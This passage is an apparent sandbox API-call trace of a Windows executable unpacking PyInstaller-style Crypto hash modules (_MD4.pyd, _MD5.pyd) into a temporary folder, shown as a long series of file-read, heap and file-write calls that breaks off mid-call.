lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.498] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.498] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.498] GetFileType (hFile=0x10c) returned 0x1 [0034.498] htonl (hostlong=0xe11d0200) returned 0x21de1 [0034.498] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6cde1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.498] htonl (hostlong=0xb110000) returned 0x110b [0034.498] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x110b) returned 0x55d270 [0034.499] htonl (hostlong=0xb110000) returned 0x110b [0034.499] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.499] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.499] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.499] htonl (hostlong=0x200000) returned 0x2000 [0034.499] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2000) returned 0x561090 [0034.499] htonl (hostlong=0xb110000) returned 0x110b [0034.499] htonl (hostlong=0x200000) returned 0x2000 [0034.499] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563098 [0034.499] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563098 | out: hHeap=0x530000) returned 1 [0034.500] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.500] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.500] CloseHandle (hObject=0x10c) returned 1 [0034.500] GetLastError () returned 0x0 [0034.500] SetLastError (dwErrCode=0x0) [0034.500] GetLastError () returned 0x0 [0034.500] SetLastError (dwErrCode=0x0) [0034.500] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.500] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.500] GetFileType (hFile=0x10c) returned 0x1 [0034.500] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.500] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.500] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.500] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.500] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.500] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.500] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.500] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.500] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.500] CloseHandle (hObject=0x10c) returned 1 [0034.500] GetLastError () returned 0x0 [0034.500] SetLastError (dwErrCode=0x0) [0034.501] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.501] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.501] GetFileType (hFile=0x10c) returned 0x1 [0034.501] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.501] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.501] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.501] CloseHandle (hObject=0x10c) returned 1 [0034.501] GetLastError () returned 0x0 [0034.501] SetLastError (dwErrCode=0x0) [0034.501] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD4.pyd") returned 66 [0034.501] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD4.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_md4.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.501] GetLastError () returned 0x2 [0034.501] SetLastError (dwErrCode=0x2) [0034.501] GetLastError () returned 0x2 [0034.501] SetLastError (dwErrCode=0x2) [0034.501] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD4.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD4.pyd", lpFilePart=0x0) returned 0x41 [0034.501] GetLastError () returned 0x2 [0034.501] SetLastError (dwErrCode=0x2) [0034.501] GetLastError () returned 0x2 [0034.502] SetLastError (dwErrCode=0x2) [0034.502] GetLastError () returned 0x2 [0034.502] SetLastError (dwErrCode=0x2) [0034.502] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD4.pyd") returned 66 [0034.502] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.502] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD4.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_md4.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.502] GetFileType (hFile=0x10c) returned 0x1 [0034.502] htonl (hostlong=0x200000) returned 0x2000 [0034.502] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0034.503] CloseHandle (hObject=0x10c) returned 1 [0034.504] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.504] htonl (hostlong=0x30000000) returned 0x30 [0034.504] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.504] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.504] GetFileType (hFile=0x10c) returned 0x1 [0034.504] htonl (hostlong=0xec2e0200) returned 0x22eec [0034.504] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6deec, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.504] htonl (hostlong=0x2a130000) returned 0x132a [0034.504] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x132a) returned 0x55d270 [0034.505] htonl (hostlong=0x2a130000) returned 0x132a [0034.505] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.505] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.505] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.505] htonl (hostlong=0x240000) returned 0x2400 [0034.505] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2400) returned 0x561090 [0034.505] htonl (hostlong=0x2a130000) returned 0x132a [0034.505] htonl (hostlong=0x240000) returned 0x2400 [0034.505] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563498 [0034.505] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563498 | out: hHeap=0x530000) returned 1 [0034.505] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.505] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.505] CloseHandle (hObject=0x10c) returned 1 [0034.506] GetLastError () returned 0x0 [0034.506] SetLastError (dwErrCode=0x0) [0034.506] GetLastError () returned 0x0 [0034.506] SetLastError (dwErrCode=0x0) [0034.506] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.506] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.506] GetFileType (hFile=0x10c) returned 0x1 [0034.506] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.506] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.506] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.506] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.506] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.506] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.506] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.506] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.506] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.506] CloseHandle (hObject=0x10c) returned 1 [0034.506] GetLastError () returned 0x0 [0034.506] SetLastError (dwErrCode=0x0) [0034.506] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.506] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.506] GetFileType (hFile=0x10c) returned 0x1 [0034.507] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.507] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.507] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.507] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.507] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.507] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.507] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.507] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.507] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.507] CloseHandle (hObject=0x10c) returned 1 [0034.507] GetLastError () returned 0x0 [0034.507] SetLastError (dwErrCode=0x0) [0034.507] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD5.pyd") returned 66 [0034.507] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD5.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_md5.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.507] GetLastError () returned 0x2 [0034.507] SetLastError (dwErrCode=0x2) [0034.507] GetLastError () returned 0x2 [0034.507] SetLastError (dwErrCode=0x2) [0034.507] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD5.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD5.pyd", lpFilePart=0x0) returned 0x41 [0034.507] GetLastError () returned 0x2 [0034.507] SetLastError (dwErrCode=0x2) [0034.507] GetLastError () returned 0x2 [0034.507] SetLastError (dwErrCode=0x2) [0034.507] GetLastError () returned 0x2 [0034.507] SetLastError (dwErrCode=0x2) [0034.507] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD5.pyd") returned 66 [0034.508] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD5.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_md5.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.508] GetFileType (hFile=0x10c) returned 0x1 [0034.508] htonl (hostlong=0x240000) returned 0x2400 [0034.508] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0034.509] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.509] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x400, lpOverlapped=0x0) returned 1 [0034.510] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.510] CloseHandle (hObject=0x10c) returned 1 [0034.510] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.511] htonl (hostlong=0x30000000) returned 0x30 [0034.511] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.511] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.511] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.511] GetFileType (hFile=0x10c) returned 0x1 [0034.511] htonl (hostlong=0x16420200) returned 0x24216 [0034.511] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6f216, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.511] htonl (hostlong=0xdc150000) returned 0x15dc [0034.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15dc) returned 0x55d270 [0034.511] htonl (hostlong=0xdc150000) returned 0x15dc [0034.511] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.512] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.512] htonl (hostlong=0x2c0000) returned 0x2c00 [0034.512] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2c00) returned 0x561090 [0034.512] htonl (hostlong=0xdc150000) returned 0x15dc [0034.512] htonl (hostlong=0x2c0000) returned 0x2c00 [0034.512] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563c98 [0034.512] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563c98 | out: hHeap=0x530000) returned 1 [0034.512] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.512] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.512] CloseHandle (hObject=0x10c) returned 1 [0034.512] GetLastError () returned 0x0 [0034.512] SetLastError (dwErrCode=0x0) [0034.512] GetLastError () returned 0x0 [0034.512] SetLastError (dwErrCode=0x0) [0034.512] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.512] GetFileType (hFile=0x10c) returned 0x1 [0034.512] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.513] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.513] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.513] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.513] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.513] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.513] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.513] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.513] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.513] CloseHandle (hObject=0x10c) returned 1 [0034.513] GetLastError () returned 0x0 [0034.513] SetLastError (dwErrCode=0x0) [0034.513] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.513] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, 